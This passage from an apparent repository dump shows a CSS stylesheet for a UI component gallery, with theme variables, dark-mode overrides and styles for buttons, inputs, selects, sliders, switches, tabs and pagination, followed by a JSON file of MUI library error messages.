0.3);\n\n  --bg-button: hsl(var(--primary-500));\n  --bg-button-hover: hsl(var(--primary-700));\n  --bg-button-active: hsl(var(--primary-800));\n  --bg-button-disabled: hsl(var(--grey-100), 0.5);\n  --border-solid-button: 1px solid hsl(var(--primary-500));\n\n  --bg-input-base: hsl(var(--grey-50), 0.5);\n  --bg-input-hover: hsl(var(--grey-50));\n  --bg-input-active: hsl(var(--grey-200));\n  --bg-input-disabled: hsl(var(--grey-100));\n\n  --bg-switch-track: hsl(var(--grey-300), 0.6);\n  --bg-select-option: hsl(var(--primary-100), 0.8);\n\n  --border-default: 1px solid hsl(var(--grey-300));\n  --border-soft: 1px solid hsl(var(--grey-300), 0.8);\n  --border-hard: 1px solid hsl(var(--grey-500));\n  --border-interactive: 1px solid hsl(var(--primary-400));\n  --border-transparent: 1px solid hsl(0deg 0 0 / 0);\n  --border-active-switch: 1px solid hsl(var(--primary-100));\n\n  --shadow-elevation-1: 0px 1px 2px 0px hsl(0deg 0 0 / 0.15);\n  --shadow-elevation-2: 0px 2px 4px 0px hsl(var(--grey-700), 0.2);\n  --shadow-elevation-3:\n    0px 4px 16px -4px hsl(var(--grey-700), 0.2), 0px 1px 2px -1px hsl(var(--grey-700), 0.1);\n  --shadow-elevation-4:\n    0px 8px 32px -4px hsl(0deg 0 0 / 0.25), 0px 1px 2px -1px hsl(0deg 0 0 / 0.15);\n\n  --shadow-interactive-button:\n    0 -2px 0.5px 0 hsl(var(--primary-700), 0.4) inset,\n    0 2px 0.5px 0 hsl(var(--primary-400), 0.6) inset, 0 1px 0.5px 0 hsl(var(--primary-900), 0.3);\n  --shadow-outlined-button:\n    0 -2px 0.5px 0 hsl(var(--grey-100), 0.5) inset, 0 1px 0.5px 0 hsl(var(--grey-500), 0.2);\n  --shadow-input: 0px 1px 2px hsl(var(--primary-300), 0.2);\n  --shadow-interactive-switch-track: 0px 1px 1px 0px hsl(0deg 0 0 / 0.05) inset;\n  --shadow-interactive-switch-thumb: 0px 1px 2px 0px hsl(0deg 0 0 / 0.3);\n  --shadow-interactive-focus-visible: 0 0 0 4px hsl(var(--primary-300), 0.5);\n\n  --border-radius-sm: 4px;\n  --border-radius-md: 6px;\n  --border-radius-lg: 8px;\n  --border-radius-xl: 12px;\n  --border-radius-full: 999px;\n}\n\n@media (prefers-color-scheme: dark) {\n  .GalleryContainer,\n  .GalleryMenu,\n  .GalleryPopup,\n  .GallerySelect-listbox {\n    --canvas: #0f0f0f;\n\n    --font-color-soft: hsl(var(--grey-300));\n    --font-color-hard: hsl(var(--grey-50));\n    --font-color-interactive: hsl(var(--primary-300));\n    --font-color-onDark: #fff;\n\n    --bg-default: hsl(var(--grey-900));\n    --bg-soft: hsl(var(--grey-800), 0.6);\n    --bg-hard: hsl(var(--grey-900), 0.8);\n    --bg-highlight: hsl(var(--primary-500));\n    --bg-overlay: hsl(0deg 0 0 / 0.6);\n\n    --bg-button-base: hsl(var(--primary-500));\n    --bg-button-hover: hsl(var(--primary-400));\n    --bg-button-active: hsl(var(--primary-600));\n    --bg-button-disabled: hsl(var(--grey-900));\n    --border-solid-button: 1px solid hsl(var(--primary-600));\n\n    --bg-input-base: hsl(var(--grey-900, 0.5));\n    --bg-input-hover: hsl(var(--grey-900));\n    --bg-input-active: hsl(var(--grey-700));\n    --bg-input-disabled: hsl(var(--grey-800));\n\n    --bg-switch-track: hsl(var(--grey-700), 0.5);\n    --bg-select-option: hsl(var(--primary-300), 0.2);\n\n    --border-default: 1px solid hsl(var(--grey-800));\n    --border-soft: 1px solid hsl(var(--grey-800), 0.8);\n    --border-hard: 1px solid hsl(var(--grey-700));\n    --border-interactive: 1px solid hsl(var(--primary-200));\n    --border-transparent: 1px solid transparent;\n    --border-active-switch: 1px solid hsl(var(--primary-400), 0.4);\n\n    --shadow-elevation-1: 0px 2px 4px -0.5px hsl(0deg 0 0 / 0.4);\n    --shadow-elevation-2:\n      0px 2px 8px 0px hsl(0deg 0 0 / 0.3), 0px 2px 4px -0.5px hsl(0deg 0 0 / 0.4);\n    --shadow-elevation-3:\n      0px 4px 8px 0px hsl(0deg 0 0 / 0.32), 0px 8px 16px 0px hsl(0deg 0 0 / 0.32);\n    --shadow-elevation-4:\n      0px 2px 24px 0px hsl(0deg 0 0 / 0.32), 0px 16px 32px 0px hsl(0deg 0 0 / 0.32);\n\n    --shadow-interactive-button:\n      0 -2px 0.5px 0 hsl(var(--primary-700), 0.4) inset,\n      0 2px 0.5px 0 hsl(var(--primary-400), 0.6) inset, 0 1px 0.5px 0 hsl(var(--primary-900), 0.3);\n    --shadow-outlined-button:\n      0 -2px 0.5px 0 hsl(0deg 0% 0% / 0.4) inset, 0 1px 0.5px 0 hsl(0deg 0% 0% / 0.9);\n    --shadow-input: 0px 1.5px 0.5px 0px hsl(0deg 0% 0% / 0.9);\n    --shadow-interactive-switch-track: 0px 1px 1px 0px hsl(0deg 0 0 / 0.35) inset;\n    --shadow-interactive-switch-thumb: 0px 1px 2px 0px hsl(0deg 0 0 / 0.3);\n  }\n}\n\n* body {\n  margin: 0;\n}\n\n.GalleryContainer {\n  background-color: var(--canvas);\n  padding: 24px;\n}\n\n/* Badge styles */\n\n.GalleryBadge-root {\n  font: var(--text-caption);\n  margin: 0;\n  padding: 0;\n  list-style: none;\n  position: relative;\n  display: inline-block;\n}\n\n.GalleryBadge-badge {\n  font: var(--text-caption);\n  color: var(--font-color-onDark);\n  box-sizing: border-box;\n  z-index: auto;\n  position: absolute;\n  top: 0;\n  right: 0;\n  min-width: 18px;\n  min-height: 18px;\n  padding: 0 4px;\n  white-space: nowrap;\n  text-align: center;\n  border-radius: var(--border-radius-full);\n  background-color: var(--bg-highlight);\n  box-shadow: var(--shadow-elevation-2);\n  transform: translate(50%, -50%);\n  transform-origin: 100% 0;\n}\n\n.GalleryBadge-content {\n  width: 40px;\n  height: 40px;\n  border-radius: var(--border-radius-md);\n  background: var(--bg-hard);\n  border: var(--border-soft);\n  display: inline-block;\n  vertical-align: middle;\n}\n\n/* Solid button styles */\n\n.GalleryButton {\n  font: var(--button-text);\n  color: var(--font-color-onDark);\n  background-color: var(--bg-button);\n  padding: 6px 12px;\n  border-radius: var(--border-radius-md);\n  transition: all 120ms ease;\n  cursor: pointer;\n  border: var(--border-solid-button);\n  box-shadow: var(--shadow-interactive-button);\n}\n\n.GalleryButton:hover {\n  background-color: var(--bg-button-hover);\n  box-shadow: none;\n}\n\n.GalleryButton:active {\n  background-color: var(--bg-button-active);\n  box-shadow: none;\n  scale: 0.96;\n}\n\n.GalleryButton:focus-visible {\n  box-shadow: var(--shadow-interactive-button), var(--shadow-interactive-focus-visible);\n  outline: none;\n}\n\n.GalleryButton:disabled {\n  background-color: var(--bg-button-disabled);\n  color: var(--font-color-soft);\n  border: var(--border-transparent);\n  cursor: not-allowed;\n  box-shadow: none;\n}\n\n.GalleryButton:disabled:hover {\n  background-color: var(--bg-button-disabled);\n}\n\n.GalleryButton:disabled:active {\n  scale: 1;\n}\n\n/* Outlined button styles */\n\n.GalleryButtonOutlined {\n  font: var(--button-text);\n  color: var(--font-color-hard);\n  background-color: var(--bg-default);\n  padding: 6px 12px;\n  border-radius: var(--border-radius-md);\n  transition: all 120ms ease;\n  cursor: pointer;\n  border: var(--border-default);\n  box-shadow: var(--shadow-outlined-button);\n}\n\n.GalleryButtonOutlined:hover {\n  background-color: var(--bg-soft);\n  border: var(--border-soft);\n}\n\n.GalleryButtonOutlined:active {\n  background-color: var(--bg-hard);\n  box-shadow: none;\n  scale: 0.96;\n}\n\n.GalleryButtonOutlined:focus-visible {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  outline: none;\n}\n\n.GalleryButtonOutlined:disabled {\n  background-color: var(--bg-button-disabled);\n  color: var(--font-color-soft);\n  border: var(--border-transparent);\n  cursor: not-allowed;\n  box-shadow: none;\n}\n\n.GalleryButtonOutlined:disabled:hover {\n  background-color: var(--bg-button-disabled);\n}\n\n.GalleryButtonOutlined:disabled:active {\n  scale: 1;\n}\n\n/* Plain button styles */\n\n.GalleryButtonPlain {\n  font: var(--button-text);\n  color: var(--font-color-hard);\n  background-color: transparent;\n  padding: 6px 12px;\n  border-radius: var(--border-radius-md);\n  border: var(--border-transparent);\n  transition: all 120ms ease;\n  cursor: pointer;\n}\n\n.GalleryButtonPlain:hover {\n  background-color: var(--bg-soft);\n}\n\n.GalleryButtonPlain:active {\n  background-color: var(--bg-hard);\n  scale: 0.96;\n}\n\n.GalleryButtonPlain:focus-visible {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  outline: none;\n}\n\n.GalleryButtonPlain:disabled {\n  background-color: var(--bg-button-disabled);\n  color: var(--font-color-soft);\n  border: var(--border-transparent);\n  cursor: not-allowed;\n  box-shadow: none;\n}\n\n.GalleryButtonPlain:disabled:hover {\n  background-color: var(--bg-button-disabled);\n}\n\n.GalleryButtonPlain:disabled:active {\n  scale: 1;\n}\n\n/* Input styles */\n\n.GalleryInput .base-Input-input {\n  box-sizing: border-box;\n  width: 300px;\n  font: var(--text-body);\n  color: var(--font-color-soft);\n  padding: 6px 12px;\n  border-radius: var(--border-radius-md);\n  background: var(--bg-input-base);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-input);\n  transition: all 120ms ease;\n}\n\n.GalleryInput .base-Input-input:hover {\n  border: var(--border-hard);\n  background: var(--bg-input-hover);\n}\n\n.GalleryInput .base-Input-input:focus {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n.GalleryInput .base-Input-input::placeholder {\n  color: var(--font-color-placeholder);\n}\n\n/* Menu & menu listbox styles */\n\n.GalleryMenu-listbox {\n  font: var(--text-body);\n  color: var(--GalleryMenu-listbox-color, var(--font-color-soft));\n  box-sizing: border-box;\n  padding: 6px;\n  margin: 12px;\n  min-width: 200px;\n  border-radius: var(--border-radius-lg);\n  overflow: auto;\n  outline: 0;\n  background: var(--bg-default);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-elevation-2);\n}\n\n.GalleryMenu-item {\n  list-style: none;\n  padding: 8px;\n  border-radius: var(--border-radius-md);\n  cursor: default;\n  user-select: none;\n}\n\n.GalleryMenu-item:last-of-type {\n  border-bottom: none;\n}\n\n.GalleryMenu-item:focus {\n  outline: none;\n  box-shadow: var(--shadow-interactive-focus-visible);\n  background-color: var(--bg-soft);\n  color: var(--font-color-soft);\n}\n\n.GalleryMenu-item.base--disabled {\n  color: var(--font-color-soft);\n}\n\n.GalleryMenu {\n  z-index: 1;\n}\n\n/* Number input styles */\n\n.GalleryNumberInput {\n  box-sizing: border-box;\n  width: 300px;\n  border-radius: var(--border-radius-md);\n  padding: 4px;\n  background: var(--bg-input-base);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-input);\n  display: grid;\n  grid-template-columns: 1fr;\n  grid-template-rows: 1fr;\n  overflow: hidden;\n  transition: all 120ms ease;\n}\n\n.GalleryNumberInput:hover {\n  border: var(--border-hard);\n  background: var(--bg-input-hover);\n}\n\n.GalleryNumberInput.base--focused {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n.GalleryNumberInput .input {\n  font: var(--text-body);\n  grid-column: 1/2;\n  grid-row: 1/3;\n  color: var(--font-color-soft);\n  background: inherit;\n  border: none;\n  border-radius: inherit;\n  padding: 8px;\n  outline: 0;\n}\n\n.GalleryNumberInput .input::placeholder {\n  color: var(--font-color-placeholder);\n}\n\n.GalleryNumberInput .input:focus-visible {\n  outline: 0;\n}\n\n.GalleryNumberInput .btn {\n  font-family: system-ui, sans-serif;\n  display: flex;\n  flex-flow: row nowrap;\n  justify-content: center;\n  align-items: center;\n  appearance: none;\n  box-sizing: border-box;\n  background: var(--bg-soft);\n  border: 0;\n  transition: all 120ms ease;\n}\n\n.GalleryNumberInput .btn.increment {\n  height: 21px;\n  border-top-left-radius: var(--border-radius-sm);\n  border-top-right-radius: var(--border-radius-sm);\n  background: var(--bg-default);\n  color: var(--font-color-soft);\n  border: var(--border-soft);\n  border-bottom: none;\n}\n\n.GalleryNumberInput .btn.increment:hover {\n  cursor: pointer;\n  color: var(--font-color-onDark);\n  background: var(--bg-button);\n  /* border: var(--border-interactive); */\n}\n\n.GalleryNumberInput .btn.increment:active {\n  cursor: pointer;\n  background: var(--bg-button-active);\n}\n\n.GalleryNumberInput .btn.decrement {\n  height: 21px;\n  grid-column: 2/2;\n  grid-row: 2/2;\n  border-bottom-left-radius: var(--border-radius-sm);\n  border-bottom-right-radius: var(--border-radius-sm);\n  background: var(--bg-default);\n  color: var(--font-color-soft);\n  border: var(--border-soft);\n  border-top: none;\n}\n\n.GalleryNumberInput .btn.decrement:hover {\n  cursor: pointer;\n  color: var(--font-color-onDark);\n  background: var(--bg-button);\n  border-top: 0;\n}\n\n.GalleryNumberInput .btn.decrement:active {\n  cursor: pointer;\n  background: var(--bg-button-active);\n}\n\n/* Popper & Popup styles */\n\n.GalleryPopper,\n.GalleryPopup {\n  font: var(--text-body);\n  border-radius: var(--border-radius-md);\n  padding: 0.75rem;\n  opacity: 1;\n  margin: 0.25rem 0;\n  color: var(--font-color-soft);\n  background: var(--bg-default);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-elevation-2);\n}\n\n/* Select & Select listbox styles */\n\n.GallerySelect {\n  width: 300px;\n  font: var(--text-body);\n  text-align: left;\n  color: var(--font-color-soft);\n  box-sizing: border-box;\n  padding: 6px 12px;\n  border-radius: var(--border-radius-md);\n  background: var(--bg-input-base);\n  border: var(--border-soft);\n  position: relative;\n  box-shadow: var(--shadow-input);\n  transition: all 120ms ease;\n  cursor: pointer;\n}\n\n.GallerySelect:hover {\n  border: var(--border-hard);\n  background: var(--bg-input-hover);\n}\n\n.GallerySelect.base--focusVisible {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n.GallerySelect:focus-visible {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n.GallerySelect > svg {\n  font-size: 1.2rem;\n  position: absolute;\n  height: 100%;\n  top: 0;\n  right: 8px;\n}\n\n.GallerySelect-listbox {\n  width: 300px;\n  font: var(--text-body);\n  line-height: var(--button-line-height);\n  color: var(--font-color-soft);\n  box-sizing: border-box;\n  padding: 6px;\n  margin: 12px 0;\n  border-radius: var(--border-radius-lg);\n  overflow: auto;\n  outline: 0;\n  background: var(--bg-default);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-elevation-2);\n}\n\n.GallerySelect-popup {\n  z-index: 1;\n}\n\n.GallerySelect-option {\n  list-style: none;\n  cursor: default;\n  padding: 8px;\n  border-radius: var(--border-radius-md);\n  transition: all 100ms ease;\n  margin-bottom: 4px;\n}\n\n.GallerySelect-option:last-of-type {\n  margin-bottom: 0;\n}\n\n.GallerySelect-option.base--selected {\n  background-color: var(--bg-select-option);\n  color: var(--font-color-hard);\n}\n\n.GallerySelect-option.base-Option-highlighted {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  background-color: var(--bg-soft);\n}\n\n.GallerySelect-option.base-Option-highlighted.base--selected {\n  background-color: var(--bg-select-option);\n  color: var(--font-color-hard);\n}\n\n.GallerySelect-option.base-Option-highlighted.base--selected:hover {\n  background-color: var(--bg-select-option);\n}\n\n.GallerySelect-option:focus-visible {\n  box-shadow: var(--shadow-interactive-focus-visible);\n}\n\n.GallerySelect-option.base--disabled {\n  color: var(--font-color-soft);\n}\n\n.GallerySelect-option:hover:not(.base--disabled) {\n  background-color: var(--bg-soft);\n}\n\n/* Slider styles */\n\n.GallerySlider {\n  color: var(--bg-highlight);\n  height: 6px;\n  width: 100%;\n  padding: 16px 0;\n  display: inline-block;\n  position: relative;\n  cursor: pointer;\n  touch-action: none;\n  -webkit-tap-highlight-color: transparent;\n}\n\n.GallerySlider:hover {\n  opacity: 1;\n}\n\n.GallerySlider.base--disabled {\n  pointer-events: none;\n  cursor: default;\n  color: var(--bg-input-disabled);\n  outline: none;\n}\n\n.GallerySlider-rail {\n  display: block;\n  position: absolute;\n  width: 100%;\n  height: 6px;\n  border-radius: var(--border-radius-sm);\n  background-color: var(--bg-soft);\n}\n\n.GallerySlider-track {\n  display: block;\n  position: absolute;\n  height: 6px;\n  border-radius: var(--border-radius-sm);\n  background-color: currentColor;\n}\n\n.GallerySlider-thumb {\n  position: absolute;\n  width: 18px;\n  height: 18px;\n  margin-left: -6px;\n  margin-top: -6px;\n  box-sizing: border-box;\n  border-radius: var(--border-radius-full);\n  outline: 0;\n  background-color: var(--bg-highlight);\n  box-shadow: var(--shadow-interactive-switch-thumb);\n  transition-property: box-shadow, transform;\n  transition-timing-function: ease;\n  transition-duration: 120ms;\n  transform-origin: center;\n}\n\n.GallerySlider-thumb:hover {\n  box-shadow: var(--shadow-interactive-focus-visible);\n}\n\n.GallerySlider-thumb.base--disabled {\n  box-shadow: none;\n  background-color: var(--bg-input-disabled);\n}\n\n.GallerySlider-thumb:focus-visible {\n  box-shadow: var(--shadow-interactive-focus-visible);\n}\n\n.GallerySlider-thumb.base--active {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  transform: scale(1.3);\n}\n\n@keyframes in-right {\n  from {\n    transform: translateX(100%);\n  }\n\n  to {\n    transform: translateX(0);\n  }\n}\n\n/* Snackbar styles */\n\n.GallerySnackbar {\n  position: fixed;\n  z-index: 5500;\n  display: flex;\n  bottom: 16px;\n  right: 16px;\n  max-width: 560px;\n  min-width: 300px;\n}\n\n.GallerySnackbar-content {\n  font-family: var(--body-font-family);\n  text-align: start;\n  padding: 12px;\n  position: relative;\n  display: flex;\n  gap: 8px;\n  overflow: hidden;\n  border-radius: var(--border-radius-md);\n  background: var(--bg-default);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-elevation-3);\n}\n\n.GallerySnackbar-content .snackbar-message {\n  flex: 1 1 0%;\n  max-width: 100%;\n}\n\n.GallerySnackbar-content .snackbar-title {\n  margin: 0;\n  font: var(--text-h5);\n  color: var(--font-color-hard);\n  margin-right: 0.5rem;\n}\n\n.GallerySnackbar-content .snackbar-description {\n  margin: 0;\n  font: var(--text-body);\n  color: var(--font-color-soft);\n}\n\n.GallerySnackbar-content .snackbar-close-icon {\n  font: var(--button-text);\n  color: var(--font-color-hard);\n  cursor: pointer;\n  flex-shrink: 0;\n  padding: 6px;\n  border-radius: var(--border-radius-md);\n}\n\n.GallerySnackbar-content .snackbar-close-icon:hover {\n  background: var(--bg-hard);\n}\n\n/* Switch styles */\n\n.GallerySwitch {\n  font-size: 0;\n  position: relative;\n  display: inline-block;\n  width: 38px;\n  height: 24px;\n  cursor: pointer;\n}\n\n.GallerySwitch.base--disabled {\n  opacity: 0.4;\n  cursor: not-allowed;\n}\n\n.GallerySwitch-track {\n  background: var(--bg-switch-track);\n  border: var(--border-soft);\n  border-radius: var(--border-radius-full);\n  display: block;\n  height: 100%;\n  width: 100%;\n  position: absolute;\n  box-shadow: var(--shadow-interactive-switch-track);\n  transition: all 120ms ease;\n}\n\n.GallerySwitch:hover .GallerySwitch-track {\n  border: var(--border-hard);\n}\n\n.GallerySwitch-thumb {\n  display: block;\n  width: 16px;\n  height: 16px;\n  top: 4px;\n  left: 4px;\n  border-radius: var(--border-radius-full);\n  border: var(--border-soft);\n  background-color: #fff;\n  position: relative;\n  transition-property: all;\n  transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1);\n  transition-duration: 200ms;\n}\n\n.GallerySwitch.base--focusVisible .GallerySwitch-track {\n  box-shadow: var(--shadow-interactive-focus-visible);\n}\n\n.GallerySwitch:active .GallerySwitch-thumb {\n  width: 20px;\n}\n\n.GallerySwitch.base--checked .GallerySwitch-thumb {\n  left: 18px;\n  border: var(--border-active-switch);\n}\n\n.GallerySwitch.base--checked .GallerySwitch-track {\n  background: var(--bg-highlight);\n  border: var(--border-active-switch);\n}\n\n.GallerySwitch.base--checked:hover .GallerySwitch-track {\n  background: hsl(var(--primary-600));\n}\n\n.GallerySwitch-input {\n  cursor: inherit;\n  position: absolute;\n  width: 100%;\n  height: 100%;\n  top: 0;\n  left: 0;\n  opacity: 0;\n  z-index: 1;\n  margin: 0;\n}\n\n/* Table pagination styles */\n\n.GalleryTablePaginationDemo table {\n  font: var(--text-body);\n  width: 100%;\n  background-color: var(--bg-default);\n  box-shadow: var(--shadow-elevation-3);\n  border-radius: var(--border-radius-md);\n  overflow: hidden;\n  border: var(--border-default);\n}\n\n.GalleryTablePaginationDemo td,\n.GalleryTablePaginationDemo th {\n  padding: 16px;\n}\n\n.GalleryTablePaginationDemo th {\n  background-color: var(--bg-default);\n}\n\n.GalleryTablePagination .base-TablePagination-spacer {\n  display: none;\n}\n\n.GalleryTablePagination .base-TablePagination-toolbar {\n  font: var(--text-body);\n  color: var(--font-color-soft);\n  display: flex;\n  flex-direction: column;\n  align-items: flex-start;\n  gap: 8px;\n\n  @media (min-width: 768px) {\n    flex-direction: row;\n    align-items: center;\n  }\n}\n\n.GalleryTablePagination .base-TablePagination-selectLabel {\n  margin: 0;\n}\n\n.GalleryTablePagination .base-TablePagination-select {\n  position: relative;\n  font: var(--text-body);\n  line-height: 1.5;\n  color: var(--font-color-soft);\n  padding: 2px 24px 2px 8px;\n  border: var(--border-default);\n  border-radius: var(--border-radius-full);\n  background-color: var(--bg-default);\n  transition: all 120ms ease;\n  appearance: none;\n  background-image: url('data:image/svg+xml,<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1.57805 7.35112L6.62785 12.4268C7.38824 13.1911 8.61657 13.1911 9.37696 12.4268L14.4268 7.35112C15.6551 6.11649 14.7777 4 13.0425 4H2.94286C1.2076 4 0.349721 6.11649 1.57805 7.35112Z\" fill=\"%23697686\"/></svg>');\n  background-repeat: no-repeat, repeat;\n  background-position:\n    right 8px top 50%,\n    0 0;\n  background-size:\n    8px auto,\n    100%;\n}\n\n.GalleryTablePagination .base-TablePagination-select:hover {\n  background-color: var(--bg-soft);\n  border: var(--border-soft);\n}\n\n.GalleryTablePagination .base-TablePagination-select:focus {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n.GalleryTablePagination .base-TablePagination-displayedRows {\n  margin: 0;\n  min-width: 75px;\n  text-align: right;\n}\n\n.GalleryTablePagination .base-TablePagination-actions {\n  display: flex;\n  gap: 6px;\n  border: transparent;\n  text-align: center;\n}\n\n.GalleryTablePagination .base-TablePagination-actions > button {\n  display: flex;\n  align-items: center;\n  padding: 0;\n  font: var(--text-body);\n  color: var(--font-color-soft);\n  background-color: var(--bg-default);\n  border: var(--border-default);\n  border-radius: var(--border-radius-full);\n  transition: all 120ms ease;\n}\n\n.GalleryTablePagination .base-TablePagination-actions > button:hover {\n  background-color: var(--bg-soft);\n  border: var(--border-hard);\n}\n\n.GalleryTablePagination .base-TablePagination-actions > button:focus {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n.GalleryTablePagination .base-TablePagination-actions > button:disabled {\n  opacity: 0.3;\n}\n\n/* Tabs styles */\n\n.GalleryTabsList {\n  min-width: 300px;\n  max-width: 500px;\n  width: 100%;\n  background-color: var(--bg-default);\n  border: var(--border-default);\n  border-radius: var(--border-radius-lg);\n  box-shadow: var(--shadow-interactive-switch-track);\n  margin-bottom: 8px;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  align-content: space-between;\n}\n\n.GalleryTab {\n  font: var(--button-text);\n  color: var(--font-color-hard);\n  cursor: pointer;\n  background-color: transparent;\n  width: 100%;\n  padding: 8px;\n  margin: 4px;\n  border: none;\n  border-radius: var(--border-radius-md);\n  display: flex;\n  justify-content: center;\n}\n\n.GalleryTab:hover {\n  background-color: var(--bg-soft);\n}\n\n.GalleryTab:focus-visible {\n  outline: none;\n  box-shadow: var(--shadow-interactive-focus-visible);\n}\n\n.GalleryTab.base--selected {\n  background-color: var(--bg-highlight);\n  color: var(--font-color-onDark);\n}\n\n.GalleryTab.base--disabled {\n  opacity: 0.3;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n\n.GalleryTab.base--disabled:focus {\n  box-shadow: none;\n}\n\n.GalleryTabPanel {\n  box-sizing: border-box;\n  max-width: 500px;\n  font: var(--text-body);\n  color: var(--font-color-soft);\n  padding: 24px;\n  background: var(--bg-soft);\n  border-radius: var(--border-radius-md);\n  border: var(--border-default);\n  border-style: dashed;\n}\n\n/* Textarea styles */\n\n.GalleryTextarea {\n  box-sizing: border-box;\n  width: 300px;\n  min-height: 100px;\n  font: var(--text-body);\n  color: var(--GalleryInput-input-color, var(--font-color-soft));\n  /* color: #fff; */\n  padding: 6px 12px;\n  border-radius: var(--border-radius-md) var(--border-radius-md) 0 var(--border-radius-md);\n  background: var(--bg-input-base);\n  border: var(--border-soft);\n  box-shadow: var(--shadow-input);\n  transition: all 120ms ease;\n}\n\n.GalleryTextarea::placeholder {\n  color: var(--font-color-placeholder);\n}\n\n.GalleryTextarea:hover {\n  border: var(--border-hard);\n  background: var(--bg-input-hover);\n}\n\n.GalleryTextarea:focus {\n  box-shadow: var(--shadow-interactive-focus-visible);\n  border: var(--border-interactive);\n  outline: 0;\n}\n\n/* firefox */\n.GalleryTextarea:focus-visible {\n  outline: 0;\n}\n"
  },
  {
    "path": "docs/public/static/error-codes.json",
    "content": "{\n  \"1\": \"MUI: Expected valid input target. Did you use a custom `inputComponent` and forget to forward refs? See https://mui.com/r/input-component-ref-interface for more info.\",\n  \"2\": \"MUI: The `value` prop must be an array when using the `Select` component with `multiple`.\",\n  \"3\": \"MUI: Unsupported `%s` color.\\nWe support the following formats: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla().\",\n  \"4\": \"MUI: The color provided to augmentColor(color) is invalid.\\nThe color object needs to have a `main` property or a `%s` property.\",\n  \"5\": \"MUI: The color provided to augmentColor(color) is invalid.\\n`color.main` should be a string, but `%s` was provided instead.\\n\\nDid you intend to use one of the following approaches?\\n\\nimport { green } from \\\"@mui/material/colors\\\";\\n\\nconst theme1 = createTheme({ palette: {\\n  primary: green,\\n} });\\n\\nconst theme2 = createTheme({ palette: {\\n  primary: { main: green[500] },\\n} });\",\n  \"6\": \"MUI: Unsupported non-unitless line height with grid alignment.\\nUse unitless line heights instead.\",\n  \"7\": \"MUI: `capitalize(string)` expects a string argument.\",\n  \"8\": \"MUI: Unsupported `%s` color.\\nWe support the following formats: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color().\",\n  \"9\": \"MUI: Unsupported `%s` color.\\nThe following formats are supported: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color().\",\n  \"10\": \"MUI: unsupported `%s` color space.\\nThe following color spaces are supported: srgb, display-p3, a98-rgb, prophoto-rgb, rec-2020.\",\n  \"11\": \"MUI: The color%s provided to augmentColor(color) is invalid.\\nThe color object needs to have a `main` property or a `%s` property.\",\n  \"12\": \"MUI: The color%s provided to augmentColor(color) is invalid.\\n`color.main` should be a string, but `%s` was provided instead.\\n\\nDid you intend to use one of the following approaches?\\n\\nimport { green } from \\\"@mui/material/colors\\\";\\n\\nconst theme1 = createTheme({ palette: {\\n  primary: green,\\n} });\\n\\nconst theme2 = createTheme({ palette: {\\n  primary: { main: green[500] },\\n} });\",\n  \"13\": \"Can not find utils in context. It looks like you forgot to wrap your component in LocalizationProvider, or pass dateAdapter prop directly.\",\n  \"14\": \"MUI: makeStyles is no longer exported from @mui/material/styles.\\nYou have to import it from @mui/styles.\\nSee https://mui.com/r/migration-v4/#mui-material-styles for more details.\",\n  \"15\": \"MUI: withStyles is no longer exported from @mui/material/styles.\\nYou have to import it from @mui/styles.\\nSee https://mui.com/r/migration-v4/#mui-material-styles for more details.\",\n  \"16\": \"MUI: withTheme is no longer exported from @mui/material/styles.\\nYou have to import it from @mui/styles.\\nSee https://mui.com/r/migration-v4/#mui-material-styles for more details.\",\n  \"17\": \"MUI: Expected valid input target. Did you use a custom `slots.input` and forget to forward refs? See https://mui.com/r/input-component-ref-interface for more info.\",\n  \"18\": \"MUI: The provided shorthand %s is invalid. The format should be `@<breakpoint | number>` or `@<breakpoint | number>/<container>`.\\nFor example, `@sm` or `@600` or `@40rem/sidebar`.\",\n  \"19\": \"MUI: The `experimental_sx` has been moved to `theme.unstable_sx`.For more details, see https://github.com/mui/material-ui/pull/35150.\",\n  \"20\": \"MUI: `vars` is a private field used for CSS variables support.\\nPlease use another name or follow the [docs](https://mui.com/material-ui/customization/css-theme-variables/usage/) to enable the feature.\",\n  \"21\": \"MUI: The `colorSchemes.%s` option is either missing or invalid.\",\n  \"22\": \"MUI: `vars` is a private field used for CSS variables support.\\nPlease use another name or follow the [docs](https://next.mui.com/material-ui/customization/css-theme-variables/usage/) to enable the feature.\"\n}\n"
  },
  {
    "path": "docs/public/static/manifest.json",
